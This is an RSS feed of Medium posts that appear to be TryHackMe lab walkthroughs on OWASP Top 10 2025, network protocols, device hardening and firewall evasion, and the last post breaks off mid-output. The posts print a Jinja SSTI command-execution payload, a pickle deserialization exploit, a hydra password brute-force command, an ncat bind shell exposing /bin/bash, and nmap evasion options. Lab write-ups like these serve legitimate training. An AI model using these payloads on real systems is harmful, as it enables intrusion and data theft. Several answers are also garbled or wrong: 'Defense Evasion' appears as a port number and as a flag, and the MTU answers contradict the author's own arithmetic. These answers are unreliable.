<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahir on Medium]]></title>
        <description><![CDATA[Stories by Mahir on Medium]]></description>
        <link>https://medium.com/@mahir-m01?source=rss-d7c65197ef09------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gx_dDwpaLE4U7Xc-gnTTqA.jpeg</url>
            <title>Stories by Mahir on Medium</title>
            <link>https://medium.com/@mahir-m01?source=rss-d7c65197ef09------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 12:42:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mahir-m01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OWASP Top 10–2025 — Complete Writeup]]></title>
            <link>https://medium.com/@mahir-m01/owasp-top-10-2025-complete-writeup-819bfe58ab0f?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/819bfe58ab0f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 07:38:00 GMT</pubDate>
            <atom:updated>2026-02-12T07:38:00.357Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*QsXyi9qU4u5p5PSiRRNgIg.png" /></figure><p>This is a combined writeup for the TryHackMe module — OWASP Top 10–2025.</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view.</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li><li>Only questions that require an answer will be counted.</li></ul><h3>OWASP Top 10 2025: IAAA Failures</h3><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — What is IAAA?</h3><h4>1) What does IAAA stand for?</h4><p><strong>Ans:</strong> Identity, Authentication, Authorisation, Accountability</p><h3>Task 3 — A01: Broken Access Control</h3><h4>1) What type of privilege escalation is this?</h4><blockquote><em>In practice this shows up as horizontal privilege escalation (same role, other user’s stuff) or vertical privilege escalation (jumping to admin-only actions) because the application trusts the client too much.</em></blockquote><p><strong>Ans:</strong> Horizontal</p><h4>2) What is the note you found when viewing…?</h4><p><em>This is the url for the user </em><a href="https://bank.thm/accounts?id=7"><em>https://bank.thm/accounts?id=7</em></a></p><p><strong>Ans:</strong> THM{Found.the.Millionare!}</p><h3>Task 4 — A07: Authentication Failures</h3><h4>1) What is the flag on the admin user&#39;s dashboard?</h4><p><em>Register a similar username with any password and then log into the admin’s account.</em></p><p><strong>Ans:</strong> THM{Account.confusion.FTW!}</p><h3>Task 5 — A09: Logging &amp; Alerting Failures</h3><h4>1) What is the IP of the attacker?</h4><p><em>Looking closely at the attack patterns, and the urls accessed this seems to be the flagged ip </em><em>203.0.113.45</em></p><p><strong>Ans:</strong> 203.0.113.45</p><h4>2) What is the username associated with that account?</h4><p><em>Looking at the url parameters — it is evident:</em></p><p>/login?user=admin&amp;pass=Password123</p><p><strong>Ans:</strong> admin</p><h4>3) List the endpoint the accessed.</h4><p><strong>Ans:</strong> /supersecretadminstuff</p><h3>OWASP Top 10 2025: Application Design Flaws</h3><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — AS02: Security Misconfigurations</h3><h4>1) What’s the flag?</h4><p><em>I kept trying for different api endpoints and eventually </em><em>api/user/flag worked.</em></p><p><strong>Ans:</strong> `THM{V3RB0S3_3RR0R_L34K</p><h3>Task 3 — AS03: Software Supply Chain Failures</h3><h4>1) What’s the flag?</h4><p><em>The app library being used:</em></p><pre>from flask import Flask, render_template, request, jsonify<br>import sys<br>import os<br><br># Import from local unverified library<br>sys.path.insert(0, os.path.join(os.path.dirname(__file__), &#39;lib&#39;))<br>from vulnerable_utils import process_data, format_output, debug_info<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/&#39;)<br>def index():<br>return render_template(&#39;index.html&#39;)<br><br>@app.route(&#39;/api/process&#39;, methods=[&#39;POST&#39;])<br>def process():<br>&quot;&quot;&quot;Process user input using third-party library&quot;&quot;&quot;<br>try:<br>data = request.json.get(&#39;data&#39;, &#39;&#39;)<br>if not data:<br>return jsonify({&#39;error&#39;: &#39;Missing data parameter&#39;}), 400<br># Check for debug mode<br>if data == &#39;debug&#39;:<br>return jsonify(debug_info())<br>processed = process_data(data)<br>formatted = format_output(processed)<br>return jsonify({<br>&#39;result&#39;: formatted,<br>&#39;status&#39;: &#39;success&#39;<br>})<br>except Exception as e:<br>return jsonify({&#39;error&#39;: str(e)}), 500<br><br>@app.route(&#39;/api/health&#39;)<br>def health():<br>&quot;&quot;&quot;Health check endpoint&quot;&quot;&quot;<br>return jsonify({<br>&#39;status&#39;: &#39;healthy&#39;,<br>&#39;version&#39;: &#39;1.0.0&#39;<br>})<br><br>if __name__ == &#39;__main__&#39;:<br>app.run(host=&#39;0.0.0.0&#39;, port=5000, debug=True)</pre><p><em>After looking through the code, I understood that the question implies on using the </em><em>debug mode.</em>1</p><pre>curl -X POST http://10.49.175.74:5003/api/process -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;data&quot;:&quot;debug&quot;}&#39;</pre><pre>root@ip-10-49-88-222:~# curl -X POST http://10.49.175.74:5003/api/process -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;data&quot;:&quot;debug&quot;}&#39;<br>{<br>  &quot;admin_token&quot;: &quot;admin_token_12345&quot;,<br>  &quot;flag&quot;: &quot;THM{SUPPLY_CH41N_VULN3R4B1L1TY}&quot;,<br>  &quot;internal_secret&quot;: &quot;internal_secret_key_2024&quot;,<br>  &quot;version&quot;: &quot;1.2.3&quot;<br>}</pre><p><strong>Ans:</strong> THM{SUPPLY_CH41N_VULN3R4B1L1TY}</p><h3>Task 4 — AS04: Cryptographic Failures</h3><h4>1) What’s the flag?</h4><p><em>Upon inspecting the </em><em>debugger tab and looking at the </em><em>decrypt.js file we can see the code login being used.</em></p><pre>// Document encryption utilities<br>// Last updated: 2024-03-15<br>(function() {<br>    &#39;use strict&#39;;<br>    // Configuration<br>    const SECRET_KEY = &quot;my-secret-key-16&quot;;<br>    const ENCRYPTION_MODE = &quot;ECB&quot;;<br>    const KEY_SIZE = 128;<br>    // Utility functions<br>    function formatTimestamp(date) {<br>        return date.toISOString().replace(&#39;T&#39;, &#39; &#39;).substring(0, 19);<br>    }<br>    function validateDocumentId(id) {<br>        return /^[a-zA-Z0-9-_]+$/.test(id);<br>    }<br>    function getDocumentMetadata() {<br>        return {<br>            version: &quot;1.2.3&quot;,<br>            encryptionEnabled: false,<br>            lastModified: formatTimestamp(new Date())<br>        };<br>    }<br>    // Logging utility<br>    function logEvent(eventType, details) {<br>        if (typeof console !== &#39;undefined&#39; &amp;&amp; console.log) {<br>            console.log(`[${formatTimestamp(new Date())}] ${eventType}:`, details);<br>        }<br>    }<br>    // Document validation<br>    function isValidDocumentFormat(data) {<br>        try {<br>            const decoded = atob(data);<br>            return decoded.length &gt; 0 &amp;&amp; decoded.length % 16 === 0;<br>        } catch (e) {<br>            return false;<br>        }<br>    }<br>    // Export to global scope if needed<br>    if (typeof window !== &#39;undefined&#39;) {<br>        window.documentUtils = {<br>            getMetadata: getDocumentMetadata,<br>            validateFormat: isValidDocumentFormat,<br>            validateId: validateDocumentId<br>        };<br>    }<br>    logEvent(&#39;INIT&#39;, &#39;Document utilities loaded&#39;);<br>})();</pre><p><em>The obvious next move was to use </em><em>cyberchef to decipher this using the </em><em>AES Decrypt block, but after a lot of trial and error I found out that you also need </em><em>FromBase64 block before it. SO the flow looks like this -</em></p><p>FromBAse64 -&gt; AES Decrypt (ECB Mode, 128 Key length and the Secret key all in UTF-8)</p><pre>CONFIDENTIAL: The admin password is &#39;admin123&#39;. Flag: THM{CRYPTO_FAILURE_H4RDCOD3D_K3Y}</pre><p><strong>Ans:</strong> THM{CRYPTO_FAILURE_H4RDCOD3D_K3Y}</p><h3>Task 5 — AS06: Insecure Design</h3><h4>1) What’s the flag?</h4><p><em>Inspecting the main page did not really provide any info so I decided to use </em><em>gobuster to reveal endpoints. At first, it did not give me anything useful but then I ran it again but on the </em><em>/api endpoint -</em></p><pre>gobuster dir -u http://10.49.175.74:5005/api -w /usr/share/wordlists/dirb/common.txt</pre><pre>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.49.175.74:5005/api<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/users                (Status: 200) [Size: 276]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><p><em>After a lot of searching around and messing around with the api endpoints, I figured that there is a specific </em><em>/api/messages endpoint for different users. Calling </em><em>/api/messages/users shows us the necessary details.</em></p><pre>{<br>  &quot;messages&quot;: [<br>    {<br>      &quot;content&quot;: &quot;Admin panel access key: THM{1NS3CUR3_D35IGN_4SSUMPT10N}&quot;,<br>      &quot;from&quot;: &quot;system&quot;<br>    }<br>  ],<br>  &quot;user&quot;: &quot;admin&quot;<br>}</pre><p><strong>Ans:</strong> THM{1NS3CUR3_D35IGN_4SSUMPT10N}</p><h3>OWASP Top 10 2025: Insecure Data Handling</h3><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — A04: Cryptographic Failures</h3><h4>1) What is it?</h4><p><em>I copied on of the messages and tried decrypting it using </em><em>cyberchef using the following flow - </em><em>FromBase64 -&gt; XOR (key = KEY1 UTF-8)</em></p><p><em>The key </em><em>KEY1 (found by sheer luck and bruteforce) worked</em></p><pre>SECRET: THM{WEAK_CRYPTO_FLAG} - Do not share this with unauthorized personnel.</pre><p><strong>Ans:</strong> THM{WEAK_CRYPTO_FLAG}</p><h3>Task 3 — A05: Injection</h3><h4>1) Perform an SSTI attack on the practical…</h4><p><em>This final following payload worked for me -</em></p><pre>{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;cat flag.txt&#39;).read()}}</pre><p>What it does:</p><ol><li>{{ ... }}<br> → Jinja executes whatever is inside.</li><li>config<br> → A Flask object available in templates.</li><li>.__class__<br> → Get its class.</li><li>.__init__<br> → Get the constructor function.</li><li>.__globals__<br> → Access all global variables that function can see.</li><li>[&#39;os&#39;]<br> → Grab the os module.</li><li>.popen(&#39;cat flag.txt&#39;)<br> → Run a system command.</li><li>.read()<br> → Print the output.</li></ol><p><strong>Ans:</strong> THM{SSTI_FLAG_OBTAINED}</p><h3>Task 4 — A08: Software or Data Integrity Failures</h3><h4>1) What are the contents of flag.txt?</h4><p><em>Run this simple python script to generate the encoded pickled data:</em></p><pre>import pickle<br>import base64<br>class Exploit:<br>    def __reduce__(self):<br>        return (eval, (&quot;__import__(&#39;os&#39;).popen(&#39;cat flag.txt&#39;).read()&quot;,))<br>payload = pickle.dumps(Exploit())<br>print(base64.b64encode(payload).decode())</pre><p><em>Then paste the pickled base64…</em></p><p>The __reduce__ function tells pickle:</p><blockquote><em>“When this object is deserialized, call this function with these arguments.”</em></blockquote><p>In this case it returns:</p><p>(eval, (&quot;__import__(&#39;os&#39;).popen(&#39;cat flag.txt&#39;).read()&quot;,))</p><p>So during pickle.loads(), Python runs:</p><p>eval(&quot;__import__(&#39;os&#39;).popen(&#39;cat flag.txt&#39;).read()&quot;)</p><p>That executes cat flag.txt and returns the file contents.</p><p><strong>Ans:</strong> THM{INSECURE_DESERIALIZATION}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=819bfe58ab0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Protocols and Servers 1 & 2 — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/protocols-and-servers-1-2-writeup-e05c7efcb0d9?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/e05c7efcb0d9</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[network-protocols]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Tue, 20 Jan 2026 05:16:56 GMT</pubDate>
            <atom:updated>2026-01-20T05:16:56.567Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EfXjXvP4QAe4MNrZm1Qhdg.jpeg" /></figure><h3>Protocols and Servers 1 &amp; 2 — Writeup</h3><p>This is a short, combined writeup for the TryHackMe rooms Protocols and Servers 1 &amp; 2 that are a part of the<em> Network Security</em> module.</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Protocols and Servers</h3><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Telnet</h3><h4>1) To which port will the telnet command with the default...?</h4><blockquote><em>A Telnet server uses the Telnet protocol to listen for incoming connections on port 23</em></blockquote><p><strong>Ans:</strong> Defense Evasion</p><h3>Task 3 — Hypertext Transfer Protocol (HTTP)</h3><h4>1) What does it contain?</h4><p><em>First, connect to the server:</em></p><pre>telnet 10.48.182.66.80</pre><p><em>Retrieve the flag by:</em></p><pre>GET /flag.thm<br>THM{e3eb0a1df437f3f97a64aca5952c8ea0}</pre><p><strong>Ans:</strong> THM{e3eb0a1df437f3f97a64aca5952c8ea0}</p><h3>Task 4 — File Transfer Protocol (FTP)</h3><h4>1) What is the flag?</h4><p><em>Connect to the </em><em>ftp server:</em></p><pre>ftp 10.48.182.66</pre><p><em>Get the flag using the </em><em>get command to transfer it to your pc:</em></p><pre>ftp&gt; ls<br>200 PORT command successful. Consider using PASV.<br>150 Here comes the directory listing.<br>drwx------   10 1001     1001         4096 Sep 15  2021 Maildir<br>-rw-rw-r--    1 1001     1001         4006 Sep 15  2021 README.txt<br>-rw-rw-r--    1 1001     1001           39 Sep 15  2021 ftp_flag.thm<br>226 Directory send OK.<br>ftp&gt; get ftp_flag.thm</pre><p><strong>Ans:</strong> Defense Evasion</p><h3>Task 5 — Simple Mail Transfer Protocol (SMTP)</h3><h4>1) What is the flag that you can get?</h4><p><em>Simply connect to the server using </em><em>telnet</em></p><pre>telnet 10.48.182.66 25</pre><pre>Trying 10.48.182.66...<br>Connected to 10.48.182.66.<br>Escape character is &#39;^]&#39;.<br>220 bento.localdomain ESMTP Postfix THM{5b31ddfc0c11d81eba776e983c35e9b5}</pre><p><strong>Ans:</strong> THM{5b31ddfc0c11d81eba776e983c35e9b5}</p><h3>Task 6 — Post Office Protocol 3 (POP3)</h3><h4>1) What is the response you get to STAT?</h4><p><em>Connect to the server using </em><em>telnet</em></p><pre>telnet 10.48.182.66 110</pre><p><em>Enter the </em><em>USER and </em><em>PASS:</em></p><pre>USER frank<br>+OK Password required.<br>PASS D2xc9CgD<br>+OK logged in.</pre><p><em>Using the </em><em>STAT command:</em></p><pre>STAT<br>+OK 0 0</pre><p><strong>Ans:</strong> +OK 0 0</p><h4>2) How many email messages are available to download via POP3…?</h4><p><em>Since the </em><em>nn value is 0 - there are no messages.</em></p><p><strong>Ans:</strong> 0</p><h3>Task 7 — Internet Message Access Protocol (IMAP)</h3><h4>1) What is the default port used by IMAP?</h4><p><strong>Ans:</strong> 143</p><h3>Protocols and Servers 2</h3><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Sniffing Attack</h3><h4>1) What do you need to add to the command…?</h4><p><em>Since telnet runs on port </em><em>23 we need to specify the said port:</em></p><p><strong>Ans:</strong> port 23</p><h4>2) What is the simplest display filter you can use…?</h4><p><em>We can filter for the </em><em>IMAP protocol</em></p><p><strong>Ans:</strong> imap</p><h3>Task 3 — Man-in-the-Middle (MITM) Attack</h3><h4>1) How many different interfaces does Ettercap offer?</h4><p><em>Refer to the following documentation </em><a href="https://www.ettercap-project.org/about.html"><em>here</em></a></p><blockquote><em>Ettercap offers three interfaces, traditional command line, GUI and ncurses</em></blockquote><p><strong>Ans:</strong> 3</p><h4>2) In how many ways can you invoke Bettercap?</h4><p><em>Refer to </em><em>Usage section in their robust documentation </em><a href="https://www.bettercap.org/usage/web_ui/"><em>here</em></a></p><p><strong>Ans:</strong> 3</p><h3>Task 4 — Transport Layer Security (TLS)</h3><h4>1) What is the three-letter acronym of the DNS protocol that uses TLS?</h4><p><em>This is called </em><em>DoT - </em><em>DNS over TLS</em></p><p><strong>Ans:</strong> DoT</p><h3>Task 5 — Secure Shell (SSH)</h3><h4>1) Using uname -r, find the Kernel release?</h4><p><em>First </em><em>SSH into the server:</em></p><pre>ssh mark@10.49.163.27</pre><p><em>Then, run the </em><em>uname -r command:</em></p><pre>mark@ip-10-49-163-27:~$ uname -r<br>5.15.0-119-generic</pre><p><strong>Ans:</strong> 5.15.0-119-generic</p><h4>2) How many KBs did scp display as download size?</h4><p><em>Download the file using </em><em>scp</em></p><pre>scp mark@10.49.163.27:/home/mark/book.txt ~</pre><pre>book.txt                                      100%  415KB  63.4MB/s  00:00</pre><p><strong>Ans:</strong> 415</p><h3>Task 6 — Password Attack</h3><h4>1) What is the password used to access the IMAP service on 10.49.163.27?</h4><p><em>Run the following command:</em></p><pre>hydra -l lazie -P /usr/share/wordlists/rockyou.txt 10.49.163.27 imap</pre><pre>[DATA] attacking imap://10.49.163.27:143/<br>[143][imap] host: 10.49.163.27   login: lazie   password: butterfly</pre><p><strong>Ans:</strong> butterfly</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e05c7efcb0d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Device Hardening — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/network-device-hardening-writeup-22498a2915a2?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/22498a2915a2</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[security-hardening]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Thu, 15 Jan 2026 06:15:01 GMT</pubDate>
            <atom:updated>2026-01-15T06:15:01.379Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQnxpAf5PEuGf2TQ3nGrcw.png" /></figure><h3>Network Device Hardening — Writeup</h3><p>This is a short writeup for the TryHackMe room — Network Device Hardening</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Task 1 — Introduction</h3><p>No answer needed</p><h3>Task 2 — Common Threat and Attack Vectors</h3><h4>1) The device that is used to control and manage network resource is called?</h4><p><strong>Ans:</strong> Network device</p><h4>2) A threat vector that includes disruption of critical devices and services…?</h4><p><strong>Ans:</strong> Denial of Service</p><h3>Task 3 — Common Hardening Techniques</h3><h4>1) Which of the following could be considered an insecure protocol?</h4><blockquote><em>FTP is not encrypted and hence insecure.</em></blockquote><p><strong>Ans:</strong> B</p><h4>2) The protocol for sending log messages to a centralised server…?</h4><p><strong>Ans:</strong> Syslog</p><h3>Task 4 — Hardening Virtual Private Networks</h3><h4>1) What is the flag value linked with the cipher directive?</h4><p><em>Editing the config:</em></p><pre>sudo nano /etc/openvpn/server/server.conf</pre><p><em>Changing the cipher as required:</em></p><pre>GNU nano 4.8            /etc/openvpn/server/server.conf             Modified  <br>local 10.0.1.1 //change that to your local machine IP<br>port 1194<br>proto udp<br>dev tun<br>ca ca.crt<br>cert server.crt<br>key server.key<br>dh dh.pem<br>auth SHA256 #Flag value: THM{AUTH_UPDATED_123}<br>tls-crypt tc.key<br>tls-version-min 1.2<br>topology subnet<br>server 10.8.0.0 255.255.255.0<br>push &quot;redirect-gateway def1 bypass-dhcp&quot;<br>ifconfig-pool-persist ipp.txt<br>push &quot;dhcp-option DNS 1.1.1.1&quot;<br>push &quot;dhcp-option DNS 1.0.0.1&quot;<br>push &quot;block-outside-dns&quot;<br>keepalive 10 120<br>cipher AES-128-CBC #Flag value: THM{CIPHER_UPDATED_1101}</pre><p><strong>Ans:</strong> THM{CIPHER_UPDATED_1101}</p><h4>2) What is the flag value linked with the auth directive?</h4><p><em>Updating the auth value:</em></p><pre>GNU nano 4.8            /etc/openvpn/server/server.conf             Modified  <br>local 10.0.1.1 //change that to your local machine IP<br>port 1194<br>proto udp<br>dev tun<br>ca ca.crt<br>cert server.crt<br>key server.key<br>dh dh.pem<br>auth SHA512 #Flag value: THM{AUTH_UPDATED_123}<br>tls-crypt tc.key<br>tls-version-min 1.2<br>topology subnet<br>server 10.8.0.0 255.255.255.0<br>push &quot;redirect-gateway def1 bypass-dhcp&quot;<br>ifconfig-pool-persist ipp.txt<br>push &quot;dhcp-option DNS 1.1.1.1&quot;<br>push &quot;dhcp-option DNS 1.0.0.1&quot;<br>push &quot;block-outside-dns&quot;<br>keepalive 10 120<br>cipher AES-128-CBC #Flag value: THM{CIPHER_UPDATED_1101}</pre><p><strong>Ans:</strong> THM{AUTH_UPDATED_123}</p><h4>3) As per the config file, what is the port number for the OpenVPN server?</h4><p><strong>Ans:</strong> 1194</p><h3>Task 5 — Hardening Routers, Switches &amp; Firewalls</h3><h4>1) What is the default SSH port configured for OpenWrt in the attached VM?</h4><p><em>This can be found in </em><em>System &gt; Administration &gt; SSH Access</em></p><p><strong>Ans:</strong> 22</p><h4>2) What is the flag value?</h4><p><strong>Ans:</strong> THM{SYSTEM101}</p><h4>3) What is the default system log buffer size value…?</h4><p><em>This can be found in </em><em>System &gt; System &gt; Logging</em></p><p><strong>Ans:</strong> tryhackme.loc</p><h4>4) What is the start priority for the script uhttpd?</h4><p><em>This can be found in </em><em>System &gt; Startup</em></p><p><strong>Ans:</strong> 50</p><h3>Task 6 — Hardening Routers, Switches &amp; Firewalls — More Techniques</h3><h4>1) What is the name of the rule that accepts ICMP traffic…?</h4><p><em>This can be found under </em><em>Network &gt; Firewall &gt; Traffic Rules</em></p><p><strong>Ans:</strong> Allow-Ping</p><h4>2) What is the name of the rule that forwards data coming from…?</h4><p><em>This can be found under </em><em>Network &gt; Firewall &gt; Port Forwards</em></p><p><strong>Ans:</strong> THM_PORT</p><h4>3) What is the version number for the available apk package?</h4><p><em>This can be found under </em><em>System &gt; Software</em></p><p><strong>Ans:</strong> 2.12.2-1</p><h3>Task 7 — Important Tools for Network Monitoring</h3><h4>1) Are network monitoring tools capable of detecting bandwidth bottlenecks?</h4><p><strong>Ans:</strong> yea</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22498a2915a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Firewalls — Writeup]]></title>
            <link>https://medium.com/@mahir-m01/firewalls-writeup-c93e929d7a44?source=rss-d7c65197ef09------2</link>
            <guid isPermaLink="false">https://medium.com/p/c93e929d7a44</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[firewall]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Mahir]]></dc:creator>
            <pubDate>Wed, 14 Jan 2026 16:20:56 GMT</pubDate>
            <atom:updated>2026-01-14T16:20:56.705Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Ps70EmeqgsfqfYuC8e-dw.jpeg" /></figure><h3>Firewalls — Writeup</h3><p>This is a short writeup for the TryHackMe room — Firewalls</p><p><strong>Note:</strong></p><ul><li>The questions are shortened for a cleaner view</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h3>Task 1 — Introduction</h3><h4>1) If you want to block telnet, which TCP port number would you deny?</h4><p><strong>Ans:</strong> 23</p><h4>2) You want to allow HTTPS, which TCP port number do you need to permit?</h4><p><strong>Ans:</strong> 443</p><h4>3) What is an alternate TCP port number used for HTTP?</h4><p><strong>Ans:</strong> 8080</p><h4>4) You need to allow SNMP over SSH, snmpssh…?</h4><p><strong>Ans:</strong> 5161</p><h3>Task 2 — Types of Firewalls</h3><h4>1) What is the most basic type of firewall?</h4><p><strong>Ans:</strong> Packet-Filtering Firewall</p><h4>2) What is the most advanced type of firewall that you can…?</h4><p><strong>Ans:</strong> Defense Evasion</p><h3>Task 3 — Evasion via Controlling the Source MAC/IP/Port</h3><h4>1) What is the size of the IP packet when using a default Nmap stealth (SYN) scan?</h4><blockquote><em>The total length of the IP packet is 44 bytes. There are 20 bytes for the IP header, which leaves 24 bytes for the TCP header. No data is sent via TCP.</em></blockquote><p><strong>Ans:</strong> 44</p><h4>2) How many bytes does the TCP segment hold in its data field when using a…?</h4><p><strong>Ans:</strong> 0</p><h4>3) Approximately, how many packets do you expect Nmap to send…?</h4><p><strong>Ans:</strong> 200</p><h4>4) Approximately, how many packets do you expect Nmap to send…?</h4><p><strong>Ans:</strong> 800</p><h4>5) What do you expect the target to see as the source of the scan…?</h4><p><em>Since the specified proxy is </em><em>10.10.13.37:</em></p><p><strong>Ans:</strong> 10.10.13.37</p><h4>6) What company has registered the following Organizationally…?</h4><p><em>I found the details </em><a href="https://maclookup.app/macaddress/0002dc/mac-address-details"><em>here</em></a></p><p><strong>Ans:</strong> Fujitsu General Ltd</p><h4>7) What option needs to be added to your Nmap command…?</h4><p><strong>Ans:</strong> -S 10.10.0.254</p><h4>8) What do you need to add to your Nmap command to set the source port number to 53?</h4><p><strong>Ans:</strong> -g 53</p><h3>Task 4 — Evasion via Forcing Fragmentation, MTU, and Data Length</h3><h4>1) What is the size of the IP packet when running Nmap with the -f option?</h4><p><strong>Ans:</strong> 28</p><h4>2) What is the maximum size of the IP packet when running Nmap with the -ff option?</h4><p><strong>Ans:</strong> 36</p><h4>3) What is the maximum size of the IP packet when running Nmap with --mtu 36 option?</h4><p>MTU (Maximum Transmission Unit) = 36 bytes</p><ul><li>This is the size of the <strong>data portion</strong> after the IP header</li><li>Does NOT include the IP header itself</li></ul><p>IP Packet Structure:</p><pre>[IP Header: 20 bytes] + [Data: 36 bytes] = 56 bytes total</pre><p><strong>Ans:</strong> 800</p><h4>4) What is the maximum size of the IP packet when running Nmap with --data-length 128 option?</h4><p>IP Packet Structure:</p><pre>[IP Header: 20 bytes] + [Data: 128 bytes] = 148 bytes total</pre><p><strong>Ans:</strong> 800</p><h3>Task 5 — Evasion via Modifying Header Fields</h3><h4>1) Scan the attached MS Windows machine using --ttl 2 option...?</h4><p><em>I ran the following command:</em></p><pre>nmap -sS -Pn --ttl 2 -F 10.49.132.54</pre><pre>Nmap scan report for 10.49.132.54<br>Host is up (0.00033s latency).<br>Not shown: 97 filtered ports<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>80/tcp   open  http<br>3389/tcp open  ms-wbt-server</pre><p><strong>Ans:</strong> 3</p><h4>2) Scan the attached MS Windows machine using the --badsum option...?</h4><p><em>I ran the following command but it gave no results:</em></p><pre>nmap -sS -Pn --badsum -F 10.49.132.54</pre><p><strong>Ans:</strong> 0</p><h3>Task 6 — Evasion Using Port Hopping</h3><h4>1) Using this simple technique, discover which port number of the following…</h4><p><em>I first had to install </em><em>ncat:</em></p><pre>apt install ncat</pre><p><em>Lets try listening on </em><em>21</em></p><pre>ncat -lvpn 21</pre><p><em>And on the webpage -</em><em>http://10.49.159.238:8080 enter the following command:</em></p><pre>ncat 10.49.77.217 21</pre><p><em>Upon entering the command we get a connection log:</em></p><pre>Ncat: Version 7.80 ( https://nmap.org/ncat )<br>Ncat: Listening on :::21<br>Ncat: Listening on 0.0.0.0:21<br>Ncat: Connection from 10.49.159.238.<br>Ncat: Connection from 10.49.159.238:57112.</pre><p>Trying other ports didn’t not really work as no connection got established.</p><p><strong>Ans:</strong> 21</p><h3>Task 7 — Evasion Using Port Tunneling</h3><h4>1) Using port tunneling, browse to the web server and retrieve the flag.</h4><p><em>I ran the following command to forward the port:</em></p><pre>ncat -lvnp 8008 -c &quot;ncat 10.49.159.238 80&quot;</pre><p><em>After running the listener, visiting </em><em>http://10.49.159.238:8008/ gave me a webpage with the flag:</em></p><p><strong>Ans:</strong> THM{1298331956}</p><h3>Task 8 — Evasion Using Non-Standard Ports</h3><h4>1) What is the user name associated with which you are logged in?</h4><p><em>On the webpage -</em><em>http://10.49.159.238:8080 enter the following command:</em></p><pre>ncat -lvnp 1234 -e /bin/bash</pre><p><em>Using the command to connect to the target:</em></p><pre>ncat 10.49.159.238 1234</pre><p><em>Once it has established connection, run:</em></p><pre>whoami</pre><pre>root@ip-10-49-77-217:~# ncat -vv 10.49.159.238 8081<br>Ncat: Version 7.80 ( https://nmap.org/ncat )<br>NCAT DEBUG: Using system 